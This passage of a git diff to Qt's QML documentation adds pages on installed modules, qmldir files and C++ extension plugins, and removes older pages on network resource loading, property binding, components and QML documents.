QML_IMPORT_PATH environment variable. When running the \l {Prototyping with qmlscene}, you +can also use the \c -I option to add an import path. + + +\section2 Creating Installed Modules + +As an example, suppose the \c MyQMLProject directory in the \l{Located Modules}{previous example} +was located on the local filesystem at \c C:\qml\projects\MyQMLProject. The \c MyComponents +subdirectory could be made available as an installed module by adding a +\l{Syntax of a qmldir file}{qmldir file} to the \c MyComponents directory that looked like this: + +\code +Slider 1.0 Slider.qml +CheckBox 1.0 CheckBox.qml +Window 1.0 Window.qml +\endcode + +Providing the path \c C:\qml is added to the QML import path using any of the methods listed previously, +a QML file located anywhere on the local filesystem can then import the module as shown below, +without referring to the module's absolute filesystem location: + +\qml +import projects.MyQMLProject.MyComponents 1.0 + +Window { + Slider { + // ... + } + CheckBox { + // ... + } +} +\endqml + +Installed modules are also accessible as a network resource. If the \c C:\qml directory was hosted +as \c http://www.some-server.com/qml and this URL was added to the QML import path, the above +QML code would work just the same. + +Note that modules imported as a network resource allow only access to components +defined in QML files; components defined by C++ \l{QQmlExtensionPlugin}{QML extension plugins} +are not available. + + +\section2 Creating Installed Modules in C++ + +C++ applications can define installed modules directly within the application using qmlRegisterType(). +For example, the \l {Tutorial: Extending QML with C++}{Writing QML extensions with C++ tutorial} +defines a C++ class named \c PieChart and makes this type available to QML by calling qmlRegisterType(): + +\code +qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart"); +\endcode + +This allows the application's QML files to use the \c PieChart type by importing the declared +\c Charts module: + +\snippet qml/imports/chart.qml import + +For \l{QQmlExtensionPlugin}{QML plugins}, the +module URI is automatically passed to QQmlExtensionPlugin::registerTypes(). This method +can be reimplemented by the developer to register the necessary types for the module. Below is the +\c registerTypes() implementation from the \l{qml/cppextensions/plugins}{QML plugins} +example: + +\snippet examples/qml/cppextensions/plugins/plugin.cpp plugin + +Once the plugin is built and installed, and includes a \l{Syntax of a qmldir file}{qmldir file}, +the module can be imported from QML, like this: + +\snippet qml/imports/timeexample.qml import + +Unlike QML types defined by QML files, a QML type defined in a C++ extension plugin cannot be loaded by +a module that is imported as a network resource. + +*/ + diff --git a/src/qml/doc/src/modules/topic.qdoc b/src/qml/doc/src/modules/topic.qdoc new file mode 100644 index 0000000000..0356c3da73 --- /dev/null +++ b/src/qml/doc/src/modules/topic.qdoc @@ -0,0 +1,92 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-modules-topic.html +\title Writing Extension Modules For QML +\brief Description of how to write extension modules for QML + +A QML module is an extension to QML which can be imported by clients. A QML +module can contain QML documents which provide type definitions, JavaScript +files which provide functionality, and C++ plugins which can provide QML types, +invokable functions, and other functionality. The module system provided by +QML allows functionality to be grouped into modules which can be loaded by +applications which need them, with zero impact upon applications which do not. + +A QML module must be imported by client QML application developers using an +\l{qtqml-syntax-imports.html}{Import Statements}. Some imports must be +qualified (that is, the imported type or file must be given an identifier), +while others do not. + +The Qt Quick module provides a QML module called QtQuick which can be imported +via the familiar +\code +import QtQuick 2.0 +\endcode + +import statement. + +QML modules are exposed to the QML type system via a module description file +called a "qmldir" file. + +\section1 Packaging QML and JavaScript Files + +A QML document implicitly defines a QML object type. Clients can create +reusable components by defining types as QML documents and exposing them +to the type system directly. QML extension module developers can provide +QML object types defined in QML documents to clients also. + +QML extension module developers can also provide functionality in JavaScript +files. When imported directly, JavaScript files must be imported with a +qualifier; conversely, when providing a JavaScript file in a QML extension +module, the module author must provide the qualifier. + +See the documentation about \l{qtqml-javascript-topic.html} +{integrating QML and JavaScript} for more information about what types of +functionality can be implemented in JavaScript. + +\section1 Providing Types And Functionality In A C++ Plugin + +An application which has a lot of logic implemented in C++, or which defines +types in C++ and exposes them to QML, may wish to implement a QML plugin. A +QML extension module developer may wish to implement some types in a C++ plugin +(as opposed to defining them via QML documents) to achieve better performance +or for greater flexibility. + +Every C++ plugin for QML has an initialiatization function which is called by +the QML engine when it loads the plugin. This initialization function must +register any types that the plugin provides, but must not do anything else +(for example, instantiating QObjects is not allowed). + +\section1 Syntax Of A qmldir File + +The standard way to expose a QML extension module to the QML type system is to +write a \c qmldir file which describes to the QML engine what the module +contains. The qmldir file and the associated content (QML documents, +JavaScript files, and C++ plugins) must be placed somewhere into the +\l{qtqml-syntax-imports.html#qml-import-path}{QML import path}. + +*/ diff --git a/src/qml/doc/src/qml/network.qdoc b/src/qml/doc/src/qml/network.qdoc deleted file mode 100644 index 1df6f51202..0000000000 --- a/src/qml/doc/src/qml/network.qdoc +++ /dev/null @@ -1,236 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-network.html -\ingroup qml-features -\title Resource Loading and Network Transparency in QML -\brief about loading files and resources accross a network - -QML supports network transparency by using URLs (rather than file names) for all -references from a QML document to other content. This means that anywhere a URL source is expected, -QML can handle remote resources as well as local ones, for example in the following image source: - -\qml -Image { - source: "http://www.example.com/images/logo.png" -} -\endqml - -Since a \e relative URL is the same -as a relative file, development of QML on regular file systems remains simple: - -\qml -Image { - source: "images/logo.png" -} -\endqml - -Network transparency is supported throughout QML, for example: - -\list -\li Fonts - the \c source property of FontLoader is a URL -\li WebViews - the \c url property of WebView (obviously!) -\endlist - -Even QML types themselves can be on the network - if the \l {QML Viewer} is used to load -\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine -will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file. -For example if the qmldir file contains the line "World World.qml", it will load -\tt http://example.com/mystuff/World.qml -Any other resources that \tt Hello.qml referred to, usually by a relative URL, would -similarly be loaded from the network. - - -\section1 Relative vs. Absolute URLs - -Whenever an object has a property of type URL (QUrl), assigning a string to that -property will actually assign an absolute URL - by resolving the string against -the URL of the document where the string is used. - -For example, consider this content in \tt{http://example.com/mystuff/test.qml}: - -\qml -Image { - source: "images/logo.png" -} -\endqml - -The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png}, -but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned -\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png. - -If the string assigned to a URL is already an absolute URL, then "resolving" does -not change it and the URL is assigned directly. - - -\section1 Progressive Loading - -Because of the declarative nature of QML and the asynchronous nature of network resources, -objects which reference network resource generally change state as the network resource loads. -For example, an Image with a network source will initially have -a \c width and \c height of 0, a \c status of \c Loading, and a \c progress of 0.0. -While the content loads, the \c progress will increase until -the content is fully loaded from the network, -at which point the \c width and \c height become the content size, the \c status becomes \c Ready, and the \c progress reaches 1.0. -Applications can bind to these changing states to provide visual progress indicators where appropriate, or simply -bind to the \c width and \c height as if the content was a local file, adapting as those bound values change. - -Note that when objects reference local files they immediately have the \c Ready status, but applications wishing -to remain network transparent should not rely on this. Future versions of QML may also use asynchronous local file I/O -to improve performance. - - -\section1 Accessing Network Services - -QML types such as XmlListModel, and JavaScript classes like XMLHttpRequest are intended -entirely for accessing network services, which usually respond with references to -content by URLs that can then be used directly in QML. For example, using these facilities -to access an on-line photography service would provide the QML application with URLs to -photographs, which can be directly set on an \l Image \c source property. - -See the \tt examples/quick/flickr for a real demonstration of this. - - -\section1 Configuring the Network Access Manager - -All network access from QML is managed by a QNetworkAccessManager set on the QQmlEngine which executes the QML. -By default, this is an unmodified Qt QNetworkAccessManager. You may set a different manager by -providing a QQmlNetworkAccessManagerFactory and setting it via -QQmlEngine::setNetworkAccessManagerFactory(). -For example, the \l {QML Viewer} sets a QQmlNetworkAccessManagerFactory which -creates QNetworkAccessManager that trusts HTTP Expiry headers to avoid network cache checks, -allows HTTP Pipelining, adds a persistent HTTP CookieJar, a simple disk cache, and supports proxy settings. - - -\section1 QRC Resources - -One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into -the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content -that is compiled into the executable: - -\code - QQuickView *canvas = new QQuickView; - canvas->setUrl(QUrl("qrc:/dial.qml")); -\endcode - -The content itself can then use relative URLs, and so be transparently unaware that the content is -compiled into the executable. - - -\section1 Limitations - -The \c import statement is only network transparent if it has an "as" clause. - -More specifically: -\list -\li \c{import "dir"} only works on local file systems -\li \c{import libraryUri} only works on local file systems -\li \c{import "dir" as D} works network transparently -\li \c{import libraryUrl as U} works network transparently -\endlist - -\section1 XMLHttpRequest - -\target XMLHttpRequest - -QML script supports the XMLHttpRequest object, which can be used to asynchronously obtain -data from over a network. - -The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard} -as many popular web browsers with following exceptions: -\list -\li QML's XMLHttpRequest does not enforce the same origin policy. -\li QML's XMLHttpRequest does not support \e synchronous requests. -\endlist - -Additionally, the \c responseXML XML DOM tree currently supported by QML is a reduced subset -of the \l {http://www.w3.org/TR/DOM-Level-3-Core/}{DOM Level 3 Core} API supported in a web -browser. The following objects and properties are supported by the QML implementation: - -\table -\header -\li \b {Node} -\li \b {Document} -\li \b {Element} -\li \b {Attr} -\li \b {CharacterData} -\li \b {Text} - -\row -\li -\list -\li nodeName -\li nodeValue -\li nodeType -\li parentNode -\li childNodes -\li firstChild -\li lastChild -\li previousSibling -\li nextSibling -\li attributes -\endlist - -\li -\list -\li xmlVersion -\li xmlEncoding -\li xmlStandalone -\li documentElement -\endlist - -\li -\list -\li tagName -\endlist - -\li -\list -\li name -\li value -\li ownerElement -\endlist - -\li -\list -\li data -\li length -\endlist - -\li -\list -\li isElementContentWhitespace -\li wholeText -\endlist - -\endtable - -The \l{declarative/xml/xmlhttprequest}{XMLHttpRequest example} demonstrates how to -use the XMLHttpRequest object to make a request and read the response headers. - -*/ diff --git a/src/qml/doc/src/qml/propertybinding.qdoc b/src/qml/doc/src/qml/propertybinding.qdoc deleted file mode 100644 index 219bb240ba..0000000000 --- a/src/qml/doc/src/qml/propertybinding.qdoc +++ /dev/null @@ -1,362 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-properties.html -\ingroup qml-features -\title Properties and Property Binding in QML -\brief declaring and binding properties - -\section1 Properties - -QML components have \e properties that can be read and modified by other objects. -In QML, properties serve many purposes but their main function is to hold to -values. Values may be a \l{QML Basic Types}{basic type}, or other QML elements. - -The syntax for properties is: - -\tt{[default] property <type> <name>[: defaultValue]} - -Elements already possess useful properties but, to create custom properties, -precede the property name with the keyword \c property. - -\snippet qml/properties.qml parent begin -\snippet qml/properties.qml inherited properties -\snippet qml/properties.qml custom properties -\snippet qml/properties.qml parent end - -QML property rules coincide with many of JavaScript's property rules, for example, -property names must begin with a lowercase letter. -\l {JavaScript Reserved Words}{JavaScript reserved words} are not valid property -names. - -\section1 Property Binding - -Property binding is a declarative way of specifying the value of a property. Binding allows -a property's value to be expressed as an JavaScript expression that defines the value relative -to other property values or data accessible in the application. The property value is -automatically kept up to date if the other properties or data values change. - -Property bindings are created in QML using the colon "\c {:}" before the value: -\snippet qml/properties.qml property binding -The property binding causes the width of the \c Rectangle to update whenever the -\c {parent}'s width changes. - -QML extends a standards compliant JavaScript engine, so any valid JavaScript expression can be -used as a property binding. Bindings can access object properties, make function calls and even -use built-in JavaScript objects such as \c {Date} and \c {Math}. -\snippet qml/properties.qml JavaScript sample - -While syntactically bindings can be of arbitrary complexity, if a binding starts to become -overly complex - such as involving multiple lines, or imperative loops - it may be better -to refactor the component entirely, or at least factor the binding out into a separate -function. - -\keyword qml-javascript-assignment -\section1 Property Assignment versus Property Binding - -When working with both QML and JavaScript, it is important to differentiate between -QML property binding and JavaScript value assignment. In QML, a property -binding is created using the colon "\c {:}". -\snippet qml/properties.qml property binding -The property binding causes the width of the \c Rectangle to update whenever the -\c {parent}'s width changes. - -Assigning a property value (using the equals sign "\c {=}") does not create a -property binding (unless explicitly assigned, see below). -\snippet qml/properties.qml property assignment - -Instead of creating a property binding, the assignment simply sets the \c Rectangle -\c width value to a number when the \c Component.onCompleted code is invoked. - -Assigning a value to a property that is already bound will remove the previous binding. -A property can only have one value at a time (a list of property is one value), -and if any code explicitly re-sets this value, the property binding is removed. - -\section1 Binding to JavaScript Functions - -The \c{property : value} syntax for property binding is QML-specific and cannot -be used in JavaScript. Instead, to bind a property from JavaScript, assign the -result returned by the \c{Qt.binding()} function to the property. This will cause -a binding assignment on the specified property. The following code correctly creates -the binding in JavaScript rather than QML: - -\qml -Item { - width: 100 - - Component.onCompleted: { - height = Qt.binding(function() { return width * 2 }) - } -} -\endqml - -When creating a property binding from JavaScript, QML allows the use of the \c -this keyword to refer to the object to which the property binding will be -assigned. This allows one to explicitly refer to a property within an object -when there may be ambiguity about the exact property that should be used for the -binding. - -For example, the \c Component.onCompleted handler below is defined within the -scope of the \l Item, and references to \c width within this scope would refer -to the \l Item's width, rather than that of the \l Rectangle. To bind the \l -Rectangle's \c height to its own \c width, the function passed to Qt.binding() -needs to explicitly refer to \c this.width rather than just \c width. - -\qml -Item { - width: 500 - height: 500 - - Rectangle { - id: rect - width: 100 - color: "yellow" - } - - Component.onCompleted: { - rect.height = Qt.binding(function() { return this.width * 2 }) - console.log("rect.height = " + rect.height) // prints 200 - } -} -\endqml - -In this case, the function could also have referred to \c rect.width rather than -\c this.width. - -Note that the value of \c this is not defined outside of its use in property binding. -See \l {QML JavaScript Restrictions} for details. - -The \l{Binding} element provides more control for binding properties with -JavaScript code. - -\section1 Types of Properties - -Properties may bind to different types, but they are are \e type-safe. That is, -properties only allow you to assign a value that matches the property type. For -example, if a property is a real, and if you try to assign a string to it you -will get an error. - -\badcode -property real volume: "four" //generates an error -\endcode - -Certain properties bind to more complex types such as other elements and objects. - -\keyword qml-basic-property-types -\section2 Basic Property Types - -Basic types such as \l int, \l real, and other Qt structures may be bound to -properties. For a list of types, visit the \l {QML Basic Types} document. - -\section2 Elements and Objects as Property Values - -Many properties bind to objects. For example, the \l Item element has a -\c states property that can bind to \l State elements. This type of property -binding allows elements to carry additional non-children elements. \c Item's -\c transitions property behaves in a similar way; it can bind to \l Transition -elements. - -Care must be taken when referring to the parent of an object property binding. -Elements and components that are bound to properties are not necessarily set -as children of the properties' component. - -\snippet qml/properties.qml object binding -The code snippet has a \l Gradient element that attempts to print its parent's -\c width value. However, the \c Gradient element is bound to the \c gradient -property, not the \c children property of the \c Rectangle. As a result, the -\c Gradient does not have the \c Rectangle as its parent. Printing the value -of \c{parent.width} generates an error. Printing the \c Rectangle object's -first child's \c name will print \c {childrectangle} because the second -\c Rectangle is bound to the \c children property. - -For more information about the \c children property, please read the -\l {Default Properties} section. - -\keyword attached-properties -\section2 Attached Properties - -Certain objects provide additional properties by \e attaching properties to other -objects. For example, the \l Keys element have properties that can \e attach to other QML -objects to provide keyboard handling. - -\snippet qml/properties.qml list attached property -The element \l ListView provides the delegate, \c listdelegate, the property -\c isCurrentItem as an attached property. The \c ListView.isCurrentItem -\e{attached property} provides highlight information to the delegate. -Effectively, the \l ListView element attaches the \c ListView.isCurrentItem -property to each delegate it creates. - -\keyword attached-signalhandlers -\section2 Attached Signal Handlers - -\e {Attached signal handlers} are similar -to \l{Attached Properties}{attached properties} in that they attach to objects -to provide additional functionality to objects. Two prominent elements, -\l Component and \l Keys element provide -\l{QML Signal and Handler Event System}{signal handlers} as attached signal -handlers. -\snippet qml/properties.qml attached signal handler - -Read the \l{QML Signal and Handler Event System} and the \l{Keyboard Focus in QML} -articles for more information. - -\section2 List properties - -Some properties may accept a binding to a list property, where more than one -component can bind to the property. List properties allow multiple -\l {State}{States}, \l {Gradient}{Gradients}, and other components to bind to a -single property. -\snippet qml/properties.qml list property -The list is enclosed in square brackets, with a comma separating the -list elements. In cases where you are only assigning a single item to a -list, you may omit the square brackets. -\snippet qml/properties.qml single property - -To access the list, use the \c index property. -\snippet qml/properties.qml print list property -The snippet code simply prints the name of the first state, \c FETCH. - - See the \l{list}{list type} documentation -for more details about list properties and their available operations. - -\keyword qml-grouped-properties -\section2 Grouped Properties - -In some cases properties form a logical group and use either the \e dot notation -or \e group notation. - -Grouped properties may be written both ways: -\snippet qml/properties.qml grouped properties - -In the element documentation grouped properties are shown using the dot notation. - -\section2 Property Aliases - -Unlike a property definition, which allocates a new, unique storage space for -the property, a property alias connects the newly declared property, called the -\e{aliasing property} as a direct reference to an existing property, the -\e{aliased property}. Read or write operations on the aliasing property results -in a read or write operations on the aliased property, respectively. - -A property alias declaration is similar to an ordinary property definition: - -\tt{[default] property alias <name>: <alias reference>} - -As the aliasing property has the same type as the aliased property, an explicit -type is omitted, and the special \c alias keyword is before the property name. -Instead of a default value, a property alias has a compulsory alias reference. -Accessing the aliasing property is similar to accessing a regular property. In -addition, the optional \c default keyword indicates that the aliasing property -is a \l{Default Properties}{default property}. - -\snippet qml/Button.qml property alias -When importing the component as a \c Button, the \c buttonlabel is directly -accessible through the \c label property. -\snippet qml/properties.qml alias usage -In addition, the \c id property may also be aliased and referred outside the -component. -\snippet qml/Button.qml parent begin -\snippet qml/Button.qml id alias -\snippet qml/Button.qml parent end -The \c imagebutton component has the ability to modify the child \l Image object - and its properties. -\snippet qml/properties.qml image alias - -Using aliases, properties may be exposed to the -\l{qml-top-level-component}{top level component}. Exposing properties to the -top-level component allows components to have interfaces similar to Qt widgets. - -\section3 Considerations for property aliases - -Aliases are only activated once the component -\l{Component::onCompleted}{completes} its initialization. An error is generated -when an uninitialized alias is referenced. Likewise, aliasing an aliasing -property will also result in an error. - -\snippet qml/properties.qml alias complete - -When importing the component, however, aliasing properties appear as regular Qt -properties and consequently can be used in alias references. - -It is possible for an aliasing property to have the same name as an existing -property, effectively overwriting the existing property. For example, -the following component has a \c color alias property, named the same as the built-in -\l {Rectangle::color} property: - -\snippet qml/properties.qml alias overwrite - -Any object that use this component and refer to its \c color property will be -referring to the alias rather than the ordinary \l {Rectangle::color} property. -Internally, however, the \c coloredrectangle can correctly set its \c color -property and refer to the actual defined property rather than the alias. - -The \l{declarative/ui-components/tabwidget}{TabWidget} example uses -aliases to reassign children to the \l ListView, creating a tab effect. - -\keyword default-properties -\section2 Default Properties - -When imported, QML components will bind declared children to their designated -\e{default properties}. The optional \c default attribute specifies a property -as the \e {default property}. For example, the State element's default property -is its \l{State::changes}{changes} property. \l PropertyChanges elements -may simply be placed as the \c{State}'s children and they will be bound to the -\c changes property. -\snippet qml/properties.qml state default - -Similarly, the \l Item element's default property is its -\l{Item::data}{data} property. The \c data property manages Item's -\c children and \c resources properties. This way, different data types may be -placed as direct children of the \c Item. -\snippet qml/properties.qml default property - -Reassigning a default property is useful when a component is reused. For -example, the \l{declarative/ui-components/tabwidget}{TabWidget} example uses -the \c default attribute to reassign children to the \l ListView, creating -a tab effect. - -\section1 Using the Binding Element - -In some advanced cases, it may be necessary to create bindings explicitly with -the\l Binding element. - -For example, to bind a property exposed from the \l{The QML Engine}{declarative -runtime} or \l{QmlGlobalQtObject}{Qt object}, such as the \c system.brightness -property, to a value written in QML, you could use the \l Binding element as -follows: -\snippet qml/properties.qml binding element - -\section1 Changing Property Values in States - -The \l PropertyChanges element is for setting property bindings within a -\l State element to set a property binding. - -\snippet qml/properties.qml PropertyChanges element -The rectangle's \c color property will bind to the \c warning component's -\c color property when its \c state is set to the \c WARNING state. -*/ diff --git a/src/qml/doc/src/qml/qmlcomponents.qdoc b/src/qml/doc/src/qml/qmlcomponents.qdoc deleted file mode 100644 index 9d0da72646..0000000000 --- a/src/qml/doc/src/qml/qmlcomponents.qdoc +++ /dev/null @@ -1,194 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-components.html -\ingroup qml-features -\contentspage QML Reference - -\title QML Components -\brief creating and instantiating components - -A \e component is an instantiable QML definition, typically contained in a \c -.qml file. For instance, a Button \e component may be defined in \c Button.qml -file. The \l{The QML Engine}{QML engine} may instantiate this Button -component to create Button \e objects. Alternatively, a component may be defined -inside a \l Component element. - -Moreover, the Button definition may also contain other components. A Button -component might have a Text element for its label and other components to -implement its functions. Compounding components to form new components -is the emphasis in QML. - -\keyword qml-define-components -\section1 Defining New Components - -Any snippet of QML code may become a component, by placing the code in a QML -file, whose file extension is \c .qml). A complete Button component that -responds to user input may be in a Button.qml file. -\snippet qml/reusablecomponents/Button.qml document - -The component name, \c Button, matches the QML filename, \c Button.qml. -Also, the first character is in upper case. Matching the names allow -components in the same directory to be in the direct import path of the -application. The section on \l{Importing a Component} has information about -naming components with different filenames. - -Alternatively, a \l Component element may encapsulate a QML object to form a -component. -\snippet qml/reusablecomponents/component.qml parent begin -\snippet qml/reusablecomponents/component.qml define inline component -\snippet qml/reusablecomponents/component.qml parent end - - -Components may incorporate any \l{Qt Quick}{QML feature} such as: -\list -\li \l{Property Binding in QML}{Properties} - for binding to data and functions -\li \l{JavaScript Expressions in QML}{JavaScript functions} - for performing routines and logic -\li \l{QML Signal and Handler Event System}{Signals and handlers} - t notify other -objects about events -\li \l{States} and \l{QML Animation and Transitions}{Transitions} -\li many others -\endlist -For information about these features, visit the respective overviews or the -main Qt Quick \l{Qt Quick}{reference} page. - -\keyword qml-loading-components -\section1 Loading a Component - -The initialization of inline components is different from loading a component -from a \c .qml file. - -\section2 Importing a Component - -A component defined in a \c .qml file is directly usable by declaring the name -of the component. For example, a button defined in \c Button.qml is created by -declaring a \c Button. The button is defined in the -\l {qml-define-components}{Defining New Components} section. -\snippet qml/reusablecomponents/application.qml document - -Note that the component name, \c Button, matches the QML filename, \c Button.qml. -Also, the first character is in upper case. Matching the names allow -components in the same directory to be in the direct import path of the -application. - -For flexibility, a \c qmldir file is for dictating which additional components, -plugins, or directories should be imported. By using a \c qmldir file, component -names do not need to match the filenames. The \c qmldir file should, however, be -in an imported path. -\snippet qml/reusablecomponents/qmldir document - -\section2 Loading an Inline Component - -A consequence of inline components is that initialization may be deferred or -delayed. A component may be created during a MouseArea event or by using a -\l Loader element. The component can create an object, which is addressable in a -similar way as an \l {qml-id}{identifier}. Thus, the created object may -have its bindings set and read like a normal QML object. -\snippet qml/reusablecomponents/component.qml define inline component -\snippet qml/reusablecomponents/component.qml create inline component - -\keyword qml-component-properties -\section1 Component Properties - -Initializing a component, either from a .qml file or initializing an inline -component, have several properties to facilitate component execution. -Specifically, there are \l{attached-properties}{attached properties} and -\l{attached-signalhandlers}{attached signal handlers} for setting properties -during the lifetime of a component. - -The \c{Component.onCompleted} attached signal handler is called when the -component completes initialization. It is useful for executing any commands -after component initialization. Similarly, the \c{Component.onDestruction} -signal handler executes when the component finishes destruction. - -\keyword qml-top-level -\section1 Top-Level Component - -Choosing the \e{top-level} or the \e{root} object of components is an important -design aspect because the top-level object dictates which properties are -accessible outside the component. Some elements are not visual elements and -will not have visual properties exposed outside the component. Likewise, some -elements add functionality that are not available to visual elements. - -Consider the Button component from the -\l{qml-define-components}{Defining New Components} section; it's top-level -object is a \l Rectangle. When imported, the Button component will possess the -Rectangle's properties, methods, signals, and any custom properties. - -\snippet qml/reusablecomponents/Button.qml parent begin -\snippet qml/reusablecomponents/Button.qml ellipses -\snippet qml/reusablecomponents/Button.qml properties -\snippet qml/reusablecomponents/Button.qml ellipses -\snippet qml/reusablecomponents/Button.qml parent end - -The Button's \c text alias is accessible from outside the component as well as -the Rectangle's visual properties and signals such as \c x, \c y, \c anchors, -and \c states. - -Alternatively, we may choose a \l {Keyboard Focus in QML}{FocusScope} as our -top-level object. The \l FocusScope element manage keyboard focus for its -children which is beneficial for certain types of interfaces. However, since -\c FocusScopes are not visual elements, the visual properties of its child need -to be exposed. - -\snippet qml/reusablecomponents/focusbutton.qml document - -\keyword qml-id -\section2 The Object Identifier - -Each QML object may be given a special unique identifier called an \c id. -No other object within the same QML component (see \l{QML Documents}) can have -the same \c id value. QML objects may then access an object using the \c id -property. -\snippet qml/properties.qml id property -A component may readily access its parent's properties by using the \c parent -property. - -Note that an \c id must begin with a lower-case letter or an underscore. The -\c id cannot contain characters other than letters, numbers, underscores, and -\l {JavaScript Reserved Words}{JavaScript reserved words}. - -\section2 Child Components - -Objects or Items declared within a component can be made accessible by binding their id to a -property alias. - -\snippet qml/reusablecomponents/Button.qml parent begin -\snippet qml/reusablecomponents/Button.qml object alias -\snippet qml/reusablecomponents/Button.qml text -\snippet qml/reusablecomponents/Button.qml parent end - -The advantage of using an alias instead a property of type of the object is that the value of -the alias cannot be overridden, and members of the object can be used in property bindings when -declaring an instance of the component. -\snippet qml/reusablecomponents/application.qml grouped property -If a property of type \c Text was used instead of an alias in this instance there would be no -guarantee that \c label would be initialized before the binding was attempted which would cause -the binding to fail. -*/ - diff --git a/src/qml/doc/src/qml/qmldocument.qdoc b/src/qml/doc/src/qml/qmldocument.qdoc deleted file mode 100644 index d1d4cc0524..0000000000 --- a/src/qml/doc/src/qml/qmldocument.qdoc +++ /dev/null @@ -1,151 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-documents.html -\title QML Documents -\brief a description of QML documents and the kind of content they contain - -A QML document is a block of QML source code. QML documents generally correspond to files -stored on a disk or at a location on a network, but they can also be constructed directly -from text data. - -Here is a simple QML document: - -\snippet qml/qml-documents/non-trivial.qml document - -QML documents are always encoded in UTF-8 format. - -A QML document always begins with one or more import statements. To prevent elements -introduced in later versions from affecting existing QML programs, the element types -available within a document are controlled by the imported QML \l {Modules} with -a corresponding \e version. - -QML does \e not have a preprocessor that modifies the document prior to -presentation to the \l{The QML Engine}{QML engine}, unlike C or C++. -The \c import statements do not copy and prepend the code in the document, but -instead instruct the QML engine on how to resolve type references found -in the document. Any type reference present in a QML document - such as \c -Rectangle and \c ListView - including those made within an \l {Inline -JavaScript}{JavaScript block} or \l {Property Binding in QML}{property -bindings}, are \e resolved based exclusively on the import statements. At least -one \c import statement must be present such as \c{import QtQuick 2.0}. - -Each \c id value in a QML document must be unique within that document. They do -not need to be unique across different documents as id values are resolved -according to the document scope. - -\section1 Documents as Component Definitions - -A QML document defines a single, top-level \l {QML Components}{QML component}. A -QML component is a template that is interpreted by the QML engine to -create an object with some predefined behaviour. As it is a template, a single -QML component can be "run" multiple times to produce several objects, each of -which are said to be \e instances of the component. - -Once created, instances are not dependent on the component that created them, so -they can operate on independent data. Here is an example of a simple "Button" -component (defined in a \c Button.qml file) that is instantiated four times by -\c application.qml. Each instance is created with a different value for its \c -text property: - -\table -\row -\li Button.qml -\li application.qml - -\row -\li \snippet qml/qml-documents/qmldocuments.qml document -\li -\qml -import QtQuick 2.0 - -Column { - spacing: 10 - - Button { text: "Apple" } - Button { text: "Orange" } - Button { text: "Pear" } - Button { text: "Grape" } -} -\endqml - -\image anatomy-component.png - -\endtable - -Any snippet of QML code can become a component, just by placing it in the file -"<Name>.qml" where <Name> is the component name, and begins with an \b -uppercase letter. Note that the case of all characters in the <Name> are -significant on some filesystems, notably UNIX filesystems. It is recommended -that the case of the filename matches the case of the component name in QML -exactly, regardless of the platform the QML will be deployed to. These QML -component files automatically become available as new QML element types to other -QML components and applications in the same directory. - -The \l{QML Components} article details the creation of components and how to -load them in other components. - -\section1 Inline Components - -In addition to the top-level component that all QML documents define, and any -reusable components placed in separate files, documents may also include \e -inline components. Inline components are declared using the \l Component -element, as can be seen in the first example above. Inline components share all -the characteristics of regular top-level components and use the same \c import -list as their containing QML document. Components are one of the most 